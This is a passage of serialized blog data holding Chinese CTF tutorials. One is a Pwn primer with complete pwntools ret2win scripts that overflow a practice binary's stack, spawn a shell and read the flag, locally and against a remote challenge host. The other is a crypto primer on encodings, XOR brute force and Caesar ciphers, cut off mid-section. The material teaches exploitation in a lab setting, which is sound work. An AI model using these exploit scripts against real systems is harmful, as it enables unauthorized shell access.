*\n",[29,3661,3662],{"class":31,"line":166},[29,3663,225],{"emptyLinePlaceholder":224},[29,3665,3666],{"class":31,"line":184},[29,3667,3668],{},"p = process('./vuln')\n",[29,3670,3671],{"class":31,"line":196},[29,3672,3673],{},"p.sendline(cyclic(200))\n",[29,3675,3676],{"class":31,"line":206},[29,3677,3678],{},"# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n",[29,3680,3681],{"class":31,"line":221},[29,3682,3683],{},"# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\n",[29,3685,3686],{"class":31,"line":228},[29,3687,3688],{},"p.wait()\n",[29,3690,3691],{"class":31,"line":234},[29,3692,3693],{},"# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\n",[29,3695,3696],{"class":31,"line":246},[29,3697,3698],{},"offset = cyclic_find(p.corefile.fault_addr)\n",[29,3700,3701],{"class":31,"line":376},[29,3702,3703],{},"# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n",[29,3705,3706],{"class":31,"line":382},[29,3707,3708],{},"# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\n",[29,3710,3711],{"class":31,"line":388},[29,3712,3713],{},"print(offset)\n",[29,3715,3716],{"class":31,"line":394},[29,3717,3718],{},"# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n",[15,3720,504,3721,789],{},[26,3722,3723],{},"40",[10,3725,3727],{"id":3726},"六核心步骤-3pwntools-三个核心-api","六、核心步骤 3：pwntools 三个核心 API",[271,3729,3731],{"id":3730},"api-1elf读符号地址","API 1：ELF——读符号地址",[19,3733,3735],{"className":3199,"code":3734,"language":3201,"meta":24,"style":24},"from pwn import *\n\nelf = ELF('./vuln')\n# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n# hex(...)：转成十六进制字符串显示，方便阅读。\nprint(hex(elf.symbols['win']))\n",[26,3736,3737,3741,3745,3750,3755,3760,3765],{"__ignoreMap":24},[29,3738,3739],{"class":31,"line":32},[29,3740,3659],{},[29,3742,3743],{"class":31,"line":166},[29,3744,225],{"emptyLinePlaceholder":224},[29,3746,3747],{"class":31,"line":184},[29,3748,3749],{},"elf = ELF('./vuln')\n",[29,3751,3752],{"class":31,"line":196},[29,3753,3754],{},"# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n",[29,3756,3757],{"class":31,"line":206},[29,3758,3759],{},"# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n",[29,3761,3762],{"class":31,"line":221},[29,3763,3764],{},"# hex(...)：转成十六进制字符串显示，方便阅读。\n",[29,3766,3767],{"class":31,"line":228},[29,3768,3769],{},"print(hex(elf.symbols['win']))\n",[15,3771,504],{},[19,3773,3776],{"className":3774,"code":3775,"language":63,"meta":24},[61],"0x401176\n",[26,3777,3775],{"__ignoreMap":24},[271,3779,3781],{"id":3780},"api-2process启动程序","API 2：process——启动程序",[19,3783,3784],{"className":3199,"code":3668,"language":3201,"meta":24,"style":24},[26,3785,3786],{"__ignoreMap":24},[29,3787,3788],{"class":31,"line":32},[29,3789,3668],{},[15,3791,3792,3793,1847,3796,3799],{},"启动本地进程，之后用 ",[26,3794,3795],{},"p.sendline()",[26,3797,3798],{},"p.recvuntil()"," 交互。远程题目改成：",[19,3801,3803],{"className":3199,"code":3802,"language":3201,"meta":24,"style":24},"p = remote('1.2.3.4', 10001)\n",[26,3804,3805],{"__ignoreMap":24},[29,3806,3807],{"class":31,"line":32},[29,3808,3802],{},[271,3810,3812],{"id":3811},"api-3p64-sendline构造并发送-payload","API 3：p64 + sendline——构造并发送 payload",[19,3814,3816],{"className":3199,"code":3815,"language":3201,"meta":24,"style":24},"payload = b'A' * 40 + p64(0x401176)\n# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n# 两段拼接后，gets 会把这 48 字节全部写入栈，\n# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\np.sendline(payload)\n# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[26,3817,3818,3823,3828,3833,3838,3843,3848,3853],{"__ignoreMap":24},[29,3819,3820],{"class":31,"line":32},[29,3821,3822],{},"payload = b'A' * 40 + p64(0x401176)\n",[29,3824,3825],{"class":31,"line":166},[29,3826,3827],{},"# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n",[29,3829,3830],{"class":31,"line":184},[29,3831,3832],{},"# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n",[29,3834,3835],{"class":31,"line":196},[29,3836,3837],{},"# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n",[29,3839,3840],{"class":31,"line":206},[29,3841,3842],{},"# 两段拼接后，gets 会把这 48 字节全部写入栈，\n",[29,3844,3845],{"class":31,"line":221},[29,3846,3847],{},"# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\n",[29,3849,3850],{"class":31,"line":228},[29,3851,3852],{},"p.sendline(payload)\n",[29,3854,3855],{"class":31,"line":234},[29,3856,3857],{},"# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[15,3859,3860,3863,3864,3867],{},[26,3861,3862],{},"p64"," 把 64 位整数转成 8 字节小端字节串；40 个 ",[26,3865,3866],{},"A"," 填满缓冲区与 saved rbp，后面 8 字节正好落在返回地址上。",[10,3869,3871],{"id":3870},"七完整-ret2win-脚本","七、完整 ret2win 脚本",[15,3873,3874,3876],{},[138,3875,519],{},"：把前三步串成完整 exploit。",[15,3878,3879,3881],{},[138,3880,528],{},"：等程序打印提示 → 发送\"填充 + win 地址\" → 程序 ret 跳到 win → 弹出 shell → 交互。",[19,3883,3885],{"className":3199,"code":3884,"language":3201,"meta":24,"style":24},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\n# 触发溢出：覆盖返回地址为 win。\np.interactive()\n# interactive()：把当前进程的输入输出接到我们的终端，\n# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[26,3886,3887,3891,3895,3899,3903,3907,3912,3917,3922,3927,3931,3936,3941,3946],{"__ignoreMap":24},[29,3888,3889],{"class":31,"line":32},[29,3890,3659],{},[29,3892,3893],{"class":31,"line":166},[29,3894,225],{"emptyLinePlaceholder":224},[29,3896,3897],{"class":31,"line":184},[29,3898,3749],{},[29,3900,3901],{"class":31,"line":196},[29,3902,3668],{},[29,3904,3905],{"class":31,"line":206},[29,3906,225],{"emptyLinePlaceholder":224},[29,3908,3909],{"class":31,"line":221},[29,3910,3911],{},"p.recvuntil(b'name?')\n",[29,3913,3914],{"class":31,"line":228},[29,3915,3916],{},"# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n",[29,3918,3919],{"class":31,"line":234},[29,3920,3921],{},"# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\n",[29,3923,3924],{"class":31,"line":246},[29,3925,3926],{},"payload = b'A' * 40 + p64(elf.symbols['win'])\n",[29,3928,3929],{"class":31,"line":376},[29,3930,3852],{},[29,3932,3933],{"class":31,"line":382},[29,3934,3935],{},"# 触发溢出：覆盖返回地址为 win。\n",[29,3937,3938],{"class":31,"line":388},[29,3939,3940],{},"p.interactive()\n",[29,3942,3943],{"class":31,"line":394},[29,3944,3945],{},"# interactive()：把当前进程的输入输出接到我们的终端，\n",[29,3947,3948],{"class":31,"line":400},[29,3949,3950],{},"# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[15,3952,3953],{},"预期结果：",[19,3955,3958],{"className":3956,"code":3957,"language":63,"meta":24},[61],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf)\n",[26,3959,3957],{"__ignoreMap":24},[15,3961,3962,3963,3966,3967,3970],{},"程序跳到了 ",[26,3964,3965],{},"win()","，执行 ",[26,3968,3969],{},"system(\"/bin/sh\")","，我们拿到了 shell。",[10,3972,3974],{"id":3973},"八必学工具","八、必学工具",[70,3976,3977,3989],{},[73,3978,3979],{},[76,3980,3981,3983,3986],{},[79,3982,3008],{},[79,3984,3985],{},"3 个核心功能",[79,3987,3988],{},"示例",[86,3990,3991,4018,4031],{},[76,3992,3993,3996,4015],{},[91,3994,3995],{},"pwntools",[91,3997,3998,4001,4002,3086,4004,4007,4008,4010,4011,4014],{},[26,3999,4000],{},"ELF()"," 读符号、",[26,4003,3648],{},[26,4005,4006],{},"cyclic_find"," 找偏移、",[26,4009,3862],{},"+",[26,4012,4013],{},"sendline"," 构造发送",[91,4016,4017],{},"见上文",[76,4019,4020,4023,4026],{},[91,4021,4022],{},"checksec",[91,4024,4025],{},"查看栈保护、NX、PIE",[91,4027,4028],{},[26,4029,4030],{},"pwn checksec ./vuln",[76,4032,4033,4036,4039],{},[91,4034,4035],{},"GDB（+pwndbg）",[91,4037,4038],{},"断点、看栈、单步",[91,4040,4041,1847,4044,1847,4047],{},[26,4042,4043],{},"break vuln",[26,4045,4046],{},"x/20gx $rsp",[26,4048,4049],{},"continue",[10,4051,4053],{"id":4052},"九小-ctf-实战远程-ret2win","九、小 CTF 实战：远程 ret2win",[15,4055,3097,4056,4059,4060,789],{},[26,4057,4058],{},"nc 1.2.3.4 10001","，运行的就是上面的 ",[26,4061,3635],{},[15,4063,4064],{},"第一步，本地验证：",[19,4066,4068],{"className":21,"code":4067,"language":23,"meta":24,"style":24},"python3 exploit.py\n",[26,4069,4070],{"__ignoreMap":24},[29,4071,4072,4075],{"class":31,"line":32},[29,4073,4074],{"class":35},"python3",[29,4076,4077],{"class":47}," exploit.py\n",[15,4079,4080,4081,4084,4085,4088],{},"第二步，把 ",[26,4082,4083],{},"process('./vuln')"," 改成 ",[26,4086,4087],{},"remote('1.2.3.4', 10001)"," 再跑：",[15,4090,4091,4093],{},[138,4092,519],{},"：本地打通后打远程。本地与远程的区别只有一行：连接方式。",[15,4095,4096,4098],{},[138,4097,542],{},"：远程返回同样提示并弹出 shell 即成功；如果远程崩溃或没有反应，先用 checksec 确认远程程序的防护与本地一致。",[19,4100,4102],{"className":3199,"code":4101,"language":3201,"meta":24,"style":24},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\n# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\np.interactive()\n",[26,4103,4104,4108,4112,4116,4120,4125,4130,4134,4138,4142,4147,4152],{"__ignoreMap":24},[29,4105,4106],{"class":31,"line":32},[29,4107,3659],{},[29,4109,4110],{"class":31,"line":166},[29,4111,225],{"emptyLinePlaceholder":224},[29,4113,4114],{"class":31,"line":184},[29,4115,3749],{},[29,4117,4118],{"class":31,"line":196},[29,4119,3802],{},[29,4121,4122],{"class":31,"line":206},[29,4123,4124],{},"# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n",[29,4126,4127],{"class":31,"line":221},[29,4128,4129],{},"# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n",[29,4131,4132],{"class":31,"line":228},[29,4133,225],{"emptyLinePlaceholder":224},[29,4135,4136],{"class":31,"line":234},[29,4137,3926],{},[29,4139,4140],{"class":31,"line":246},[29,4141,3852],{},[29,4143,4144],{"class":31,"line":376},[29,4145,4146],{},"p.sendline(b'cat flag')\n",[29,4148,4149],{"class":31,"line":382},[29,4150,4151],{},"# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\n",[29,4153,4154],{"class":31,"line":388},[29,4155,3940],{},[15,4157,504],{},[19,4159,4162],{"className":4160,"code":4161,"language":63,"meta":24},[61],"flag{ret2win}\n",[26,4163,4161],{"__ignoreMap":24},[10,4165,1985],{"id":1984},[15,4167,4168,4169,4171,4172,4174,4175,4177],{},"Pwn 入门主线：",[26,4170,4022],{}," 判断能不能直接打 → ",[26,4173,3648],{}," 确定偏移 → ",[26,4176,3862],{}," 构造 payload 覆盖返回地址。下一级进阶（NX + ASLR）时，目标从\"程序内的 win\"换成\"libc 里的 system\"，思路不变，详见《栈溢出与 ROP 深入实战》。",[1990,4179,4180],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":24,"searchDepth":166,"depth":166,"links":4182},[4183,4184,4185,4186,4187,4188,4189,4190,4191,4192],{"id":3338,"depth":184,"text":3339},{"id":2085,"depth":184,"text":2086},{"id":3386,"depth":184,"text":3387},{"id":3528,"depth":184,"text":3529},{"id":3629,"depth":184,"text":3630},{"id":3726,"depth":184,"text":3727},{"id":3870,"depth":184,"text":3871},{"id":3973,"depth":184,"text":3974},{"id":4052,"depth":184,"text":4053},{"id":1984,"depth":184,"text":1985},"完整演示 Pwn 第一条,包括漏洞代码编译、checksec 防护解读、cyclic 找偏移，到用 pwntools 三个核心 API 完成 ret2win。",{"date":2008,"image":4195,"alt":4196,"tags":4197,"published":224},"/blogs-img/blog2.png","CTF Pwn 入门",[788,3551,2013],"/blogs/ctf-pwn-overview",{"title":3333,"description":4193},"blogs/11. ctf-pwn-overview","meu72Rt9gwp_tpGxBY4J74XxZjAVK6BU7R5ezX4BNvk",{"id":4203,"title":4204,"body":4205,"description":5192,"extension":2006,"meta":5193,"navigation":224,"ogImage":5194,"path":5198,"seo":5199,"stem":5200,"__hash__":5201},"content/blogs/12. ctf-crypto-overview.md","CTF 密码学入门：编码、XOR 与 DH 密钥协商",{"type":7,"value":4206,"toc":5182},[4207,4211,4214,4281,4284,4370,4373,4379,4382,4406,4408,4414,4416,4436,4446,4450,4461,4465,4470,4514,4516,4522,4526,4531,4544,4618,4620,4626,4632,4636,4642,4673,4677,4680,4744,4746,4752,4756,4760,4763,4767,4772,4777,4817,4821,4943,4945,4951,4961,4963,4967,4970,5008,5012,5041,5045,5048,5077,5079,5085,5089,5092,5097,5100,5108,5167,5169,5174,5176,5179],[10,4208,4210],{"id":4209},"一现实背景编码每天都在用","一、现实背景：编码每天都在用",[15,4212,4213],{},"编码（Encoding）不依赖密钥，任何掌握规则的人都能还原；加密（Encryption）依赖密钥。日常网络中的编码：",[70,4215,4216,4229],{},[73,4217,4218],{},[76,4219,4220,4223,4226],{},[79,4221,4222],{},"编码",[79,4224,4225],{},"现实应用",[79,4227,4228],{},"例子",[86,4230,4231,4247,4266],{},[76,4232,4233,4236,4239],{},[91,4234,4235],{},"Base64",[91,4237,4238],{},"邮件附件（MIME）、JWT 令牌、Data URI",[91,4240,4241,4244,4245],{},[26,4242,4243],{},"ZmxhZw=="," → ",[26,4246,1744],{},[76,4248,4249,4252,4259],{},[91,4250,4251],{},"Hex",[91,4253,4254,4255,4258],{},"颜色值 ",[26,4256,4257],{},"#FF0000","、MAC 地址、哈希摘要",[91,4260,4261,4244,4264],{},[26,4262,4263],{},"666c6167",[26,4265,1744],{},[76,4267,4268,4271,4274],{},[91,4269,4270],{},"URL 编码",[91,4272,4273],{},"浏览器地址栏中的中文与特殊字符",[91,4275,4276,4244,4279],{},[26,4277,4278],{},"%66%6c%61%67",[26,4280,1744],{},[15,4282,4283],{},"先运行最小的解码例子：",[19,4285,4287],{"className":3199,"code":4286,"language":3201,"meta":24,"style":24},"import base64\n# base64 模块：标准库，提供 base64 编码解码函数。\n\nprint(base64.b64encode(b\"flag\"))\n# b64encode(data)：把字节串编码成 base64，参数是待编码的 bytes，\n# 返回值是编码结果 bytes：b'ZmxhZw=='。\n\nprint(base64.b64decode(\"ZmxhZw==\"))\n# b64decode(s)：把 base64 字符串解码回原始字节，参数可以是 str 或 bytes，\n# 返回值 b'flag'。这一步用于解开题目给的 base64 密文。\n\nprint(bytes.fromhex(\"666c6167\"))\n# bytes.fromhex(hex_str)：把十六进制字符串逐对转成字节，\n# 参数 \"666c6167\" 对应 b'flag'。用于解开题目给的 hex 密文。\n\nprint(b\"flag\".hex())\n# bytes.hex()：反过来，把字节转成十六进制字符串 \"666c6167\"。\n",[26,4288,4289,4294,4299,4303,4308,4313,4318,4322,4327,4332,4337,4341,4346,4351,4356,4360,4365],{"__ignoreMap":24},[29,4290,4291],{"class":31,"line":32},[29,4292,4293],{},"import base64\n",[29,4295,4296],{"class":31,"line":166},[29,4297,4298],{},"# base64 模块：标准库，提供 base64 编码解码函数。\n",[29,4300,4301],{"class":31,"line":184},[29,4302,225],{"emptyLinePlaceholder":224},[29,4304,4305],{"class":31,"line":196},[29,4306,4307],{},"print(base64.b64encode(b\"flag\"))\n",[29,4309,4310],{"class":31,"line":206},[29,4311,4312],{},"# b64encode(data)：把字节串编码成 base64，参数是待编码的 bytes，\n",[29,4314,4315],{"class":31,"line":221},[29,4316,4317],{},"# 返回值是编码结果 bytes：b'ZmxhZw=='。\n",[29,4319,4320],{"class":31,"line":228},[29,4321,225],{"emptyLinePlaceholder":224},[29,4323,4324],{"class":31,"line":234},[29,4325,4326],{},"print(base64.b64decode(\"ZmxhZw==\"))\n",[29,4328,4329],{"class":31,"line":246},[29,4330,4331],{},"# b64decode(s)：把 base64 字符串解码回原始字节，参数可以是 str 或 bytes，\n",[29,4333,4334],{"class":31,"line":376},[29,4335,4336],{},"# 返回值 b'flag'。这一步用于解开题目给的 base64 密文。\n",[29,4338,4339],{"class":31,"line":382},[29,4340,225],{"emptyLinePlaceholder":224},[29,4342,4343],{"class":31,"line":388},[29,4344,4345],{},"print(bytes.fromhex(\"666c6167\"))\n",[29,4347,4348],{"class":31,"line":394},[29,4349,4350],{},"# bytes.fromhex(hex_str)：把十六进制字符串逐对转成字节，\n",[29,4352,4353],{"class":31,"line":400},[29,4354,4355],{},"# 参数 \"666c6167\" 对应 b'flag'。用于解开题目给的 hex 密文。\n",[29,4357,4358],{"class":31,"line":405},[29,4359,225],{"emptyLinePlaceholder":224},[29,4361,4362],{"class":31,"line":411},[29,4363,4364],{},"print(b\"flag\".hex())\n",[29,4366,4367],{"class":31,"line":417},[29,4368,4369],{},"# bytes.hex()：反过来，把字节转成十六进制字符串 \"666c6167\"。\n",[15,4371,4372],{},"实际输出：",[19,4374,4377],{"className":4375,"code":4376,"language":63,"meta":24},[61],"b'ZmxhZw=='\nb'flag'\nb'flag'\n666c6167\n",[26,4378,4376],{"__ignoreMap":24},[15,4380,4381],{},"URL 编码：",[19,4383,4385],{"className":3199,"code":4384,"language":3201,"meta":24,"style":24},"from urllib.parse import quote, unquote\n\nprint(quote(\"你好\"))                    # %E4%BD%A0%E5%A5%BD\nprint(unquote(\"%66%6c%61%67\"))          # flag\n",[26,4386,4387,4392,4396,4401],{"__ignoreMap":24},[29,4388,4389],{"class":31,"line":32},[29,4390,4391],{},"from urllib.parse import quote, unquote\n",[29,4393,4394],{"class":31,"line":166},[29,4395,225],{"emptyLinePlaceholder":224},[29,4397,4398],{"class":31,"line":184},[29,4399,4400],{},"print(quote(\"你好\"))                    # %E4%BD%A0%E5%A5%BD\n",[29,4402,4403],{"class":31,"line":196},[29,4404,4405],{},"print(unquote(\"%66%6c%61%67\"))          # flag\n",[15,4407,4372],{},[19,4409,4412],{"className":4410,"code":4411,"language":63,"meta":24},[61],"%E4%BD%A0%E5%A5%BD\nflag\n",[26,4413,4411],{"__ignoreMap":24},[10,4415,2086],{"id":2085},[19,4417,4419],{"className":21,"code":4418,"language":23,"meta":24,"style":24},"pip3 install pycryptodome sympy gmpy2\n",[26,4420,4421],{"__ignoreMap":24},[29,4422,4423,4425,4427,4430,4433],{"class":31,"line":32},[29,4424,3378],{"class":35},[29,4426,172],{"class":47},[29,4428,4429],{"class":47}," pycryptodome",[29,4431,4432],{"class":47}," sympy",[29,4434,4435],{"class":47}," gmpy2\n",[15,4437,4438,4439],{},"浏览器打开 CyberChef（",[4440,4441,4445],"a",{"href":4442,"rel":4443},"https://gchq.github.io/CyberChef%EF%BC%89%E3%80%82",[4444],"nofollow","https://gchq.github.io/CyberChef）。",[10,4447,4449],{"id":4448},"三核心知识-1xor-与单字节爆破","三、核心知识 1：XOR 与单字节爆破",[15,4451,4452,4453,4456,4457,4460],{},"异或的性质：",[26,4454,4455],{},"A ^ B = C","，且 ",[26,4458,4459],{},"C ^ B = A","。同一个密钥异或两次就还原，所以加密和解密是同一个运算。",[271,4462,4464],{"id":4463},"_31-加密","3.1 加密",[15,4466,4467,4469],{},[138,4468,519],{},"：先用已知明文和密钥生成密文，验证\"异或加密\"的写法，同时为后面爆破提供测试对象。",[19,4471,4473],{"className":3199,"code":4472,"language":3201,"meta":24,"style":24},"plain = b\"flag{xor_is_easy}\"\nkey = 0x42   # 密钥是单个字节（0-255 的整数），这里选 0x42\n\ncipher = bytes([b ^ key for b in plain])\n# 列表推导式：对 plain 的每个字节 b，做 b ^ key（按位异或），\n# bytes(...) 把结果整数列表转回字节串。这就是单字节 XOR 加密。\nprint(cipher.hex())\n# .hex()：把密文字节串转成十六进制字符串，方便在题目里粘贴/对比。\n",[26,4474,4475,4480,4485,4489,4494,4499,4504,4509],{"__ignoreMap":24},[29,4476,4477],{"class":31,"line":32},[29,4478,4479],{},"plain = b\"flag{xor_is_easy}\"\n",[29,4481,4482],{"class":31,"line":166},[29,4483,4484],{},"key = 0x42   # 密钥是单个字节（0-255 的整数），这里选 0x42\n",[29,4486,4487],{"class":31,"line":184},[29,4488,225],{"emptyLinePlaceholder":224},[29,4490,4491],{"class":31,"line":196},[29,4492,4493],{},"cipher = bytes([b ^ key for b in plain])\n",[29,4495,4496],{"class":31,"line":206},[29,4497,4498],{},"# 列表推导式：对 plain 的每个字节 b，做 b ^ key（按位异或），\n",[29,4500,4501],{"class":31,"line":221},[29,4502,4503],{},"# bytes(...) 把结果整数列表转回字节串。这就是单字节 XOR 加密。\n",[29,4505,4506],{"class":31,"line":228},[29,4507,4508],{},"print(cipher.hex())\n",[29,4510,4511],{"class":31,"line":234},[29,4512,4513],{},"# .hex()：把密文字节串转成十六进制字符串，方便在题目里粘贴/对比。\n",[15,4515,4372],{},[19,4517,4520],{"className":4518,"code":4519,"language":63,"meta":24},[61],"242e2325393a2d301d2b311d2723313b3f\n",[26,4521,4519],{"__ignoreMap":24},[271,4523,4525],{"id":4524},"_32-爆破密钥只有-256-种可能","3.2 爆破（密钥只有 256 种可能）",[15,4527,4528,4530],{},[138,4529,519],{},"：不知道密钥时，把 256 种可能全部试一遍。",[15,4532,4533,4535,4536,4539,4540,4543],{},[138,4534,528],{},"：如果密钥猜对了，解密结果会是一段正常文本；CTF 里 flag 固定以 ",[26,4537,4538],{},"flag{"," 开头，这就是天然的判据。用 ",[26,4541,4542],{},"b\"flag{\" in plain"," 过滤即可。",[19,4545,4547],{"className":3199,"code":4546,"language":3201,"meta":24,"style":24},"cipher = bytes.fromhex(\"242e2325393a2d301d2b311d2723313b3f\")\n# bytes.fromhex(...)：把题目给的十六进制密文还原成字节串。\n\nfor k in range(256):\n    # 枚举 0-255 共 256 个可能的单字节密钥。\n    plain = bytes([b ^ k for b in cipher])\n    # 对每个密钥尝试解密：每个密文字节与 k 异或。\n    # 异或的自反性保证：加密用 key，解密用同一个 key。\n    if b\"flag{\" in plain:\n        # 如果解密结果包含 flag 前缀，说明密钥猜对了。\n        print(\"key =\", k)           # 输出密钥数值\n        print(plain.decode())       # 输出解密出的明文\n        break\n        # 找到即停止，避免继续打印无意义结果。\n",[26,4548,4549,4554,4559,4563,4568,4573,4578,4583,4588,4593,4598,4603,4608,4613],{"__ignoreMap":24},[29,4550,4551],{"class":31,"line":32},[29,4552,4553],{},"cipher = bytes.fromhex(\"242e2325393a2d301d2b311d2723313b3f\")\n",[29,4555,4556],{"class":31,"line":166},[29,4557,4558],{},"# bytes.fromhex(...)：把题目给的十六进制密文还原成字节串。\n",[29,4560,4561],{"class":31,"line":184},[29,4562,225],{"emptyLinePlaceholder":224},[29,4564,4565],{"class":31,"line":196},[29,4566,4567],{},"for k in range(256):\n",[29,4569,4570],{"class":31,"line":206},[29,4571,4572],{},"    # 枚举 0-255 共 256 个可能的单字节密钥。\n",[29,4574,4575],{"class":31,"line":221},[29,4576,4577],{},"    plain = bytes([b ^ k for b in cipher])\n",[29,4579,4580],{"class":31,"line":228},[29,4581,4582],{},"    # 对每个密钥尝试解密：每个密文字节与 k 异或。\n",[29,4584,4585],{"class":31,"line":234},[29,4586,4587],{},"    # 异或的自反性保证：加密用 key，解密用同一个 key。\n",[29,4589,4590],{"class":31,"line":246},[29,4591,4592],{},"    if b\"flag{\" in plain:\n",[29,4594,4595],{"class":31,"line":376},[29,4596,4597],{},"        # 如果解密结果包含 flag 前缀，说明密钥猜对了。\n",[29,4599,4600],{"class":31,"line":382},[29,4601,4602],{},"        print(\"key =\", k)           # 输出密钥数值\n",[29,4604,4605],{"class":31,"line":388},[29,4606,4607],{},"        print(plain.decode())       # 输出解密出的明文\n",[29,4609,4610],{"class":31,"line":394},[29,4611,4612],{},"        break\n",[29,4614,4615],{"class":31,"line":400},[29,4616,4617],{},"        # 找到即停止，避免继续打印无意义结果。\n",[15,4619,4372],{},[19,4621,4624],{"className":4622,"code":4623,"language":63,"meta":24},[61],"key = 66\nflag{xor_is_easy}\n",[26,4625,4623],{"__ignoreMap":24},[15,4627,4628,4629,4631],{},"判断依据：明文包含 ",[26,4630,4538],{}," 前缀。CTF 里 flag 都有固定格式，这就是天然的校验。",[271,4633,4635],{"id":4634},"_33-多字节-xor-简介","3.3 多字节 XOR 简介",[15,4637,4638,4639,324],{},"密钥是多个字节循环使用时，先猜密钥长度，再对每个位置分别做单字节分析。工具 ",[26,4640,4641],{},"xortool",[19,4643,4645],{"className":21,"code":4644,"language":23,"meta":24,"style":24},"pip install xortool\nxortool -x -c 20 cipher.bin\n",[26,4646,4647,4657],{"__ignoreMap":24},[29,4648,4649,4652,4654],{"class":31,"line":32},[29,4650,4651],{"class":35},"pip",[29,4653,172],{"class":47},[29,4655,4656],{"class":47}," xortool\n",[29,4658,4659,4661,4664,4667,4670],{"class":31,"line":166},[29,4660,4641],{"class":35},[29,4662,4663],{"class":39}," -x",[29,4665,4666],{"class":39}," -c",[29,4668,4669],{"class":39}," 20",[29,4671,4672],{"class":47}," cipher.bin\n",[10,4674,4676],{"id":4675},"四核心知识-2凯撒密码","四、核心知识 2：凯撒密码",[15,4678,4679],{},"每个字母平移固定位数：",[19,4681,4683],{"className":3199,"code":4682,"language":3201,"meta":24,"style":24},"def caesar(s, shift):\n    out = \"\"\n    for c in s:\n        if c.isalpha():\n            base = ord('a') if c.islower() else ord('A')\n            out += chr((ord(c) - base + shift) % 26 + base)\n        else:\n            out += c\n    return out\n\nprint(caesar(\"flag{caesar_is_fun}\", 3))    # 加密\nprint(caesar(\"iodj{fdhvdu_lv_ixq}\", -3))   # 解密\n",[26,4684,4685,4690,4695,4700,4705,4710,4715,4720,4725,4730,4734,4739],{"__ignoreMap":24},[29,4686,4687],{"class":31,"line":32},[29,4688,4689],{},"def caesar(s, shift):\n",[29,4691,4692],{"class":31,"line":166},[29,4693,4694],{},"    out = \"\"\n",[29,4696,4697],{"class":31,"line":184},[29,4698,4699],{},"    for c in s:\n",[29,4701,4702],{"class":31,"line":196},[29,4703,4704],{},"        if c.isalpha():\n",[29,4706,4707],{"class":31,"line":206},[29,4708,4709],{},"            base = ord('a') if c.islower() else ord('A')\n",[29,4711,4712],{"class":31,"line":221},[29,4713,4714],{},"            out += chr((ord(c) - base + shift) % 26 + base)\n",[29,4716,4717],{"class":31,"line":228},[29,4718,4719],{},"        else:\n",[29,4721,4722],{"class":31,"line":234},[29,4723,4724],{},"            out += c\n",[29,4726,4727],{"class":31,"line":246},[29,4728,4729],{},"    return out\n",[29,4731,4732],{"class":31,"line":376},[29,4733,225],{"emptyLinePlaceholder":224},[29,4735,4736],{"class":31,"line":382},[29,4737,4738],{},"print(caesar(\"flag{caesar_is_fun}\", 3))    # 加密\n",[29,4740,4741],{"class":31,"line":388},[29,4742,4743],{},"print(caesar(\"iodj{fdhvdu_lv_ixq}\", -3))   # 解密\n",[15,4745,4372],{},[19,4747,4750],{"className":4748,"code":4749,"language":63,"meta":24},[61],"iodj{fdhvdu_lv_ixq}\nflag{caesar_is_fun}\n",[26,4751,4749],{"__ignoreMap":24},[10,4753,4755],{"id":4754},"五核心知识-3dh-密钥协商","五、核心知识 3：DH 密钥协商",[271,4757,4759],{"id":4758},"_51-要解决的问题","5.1 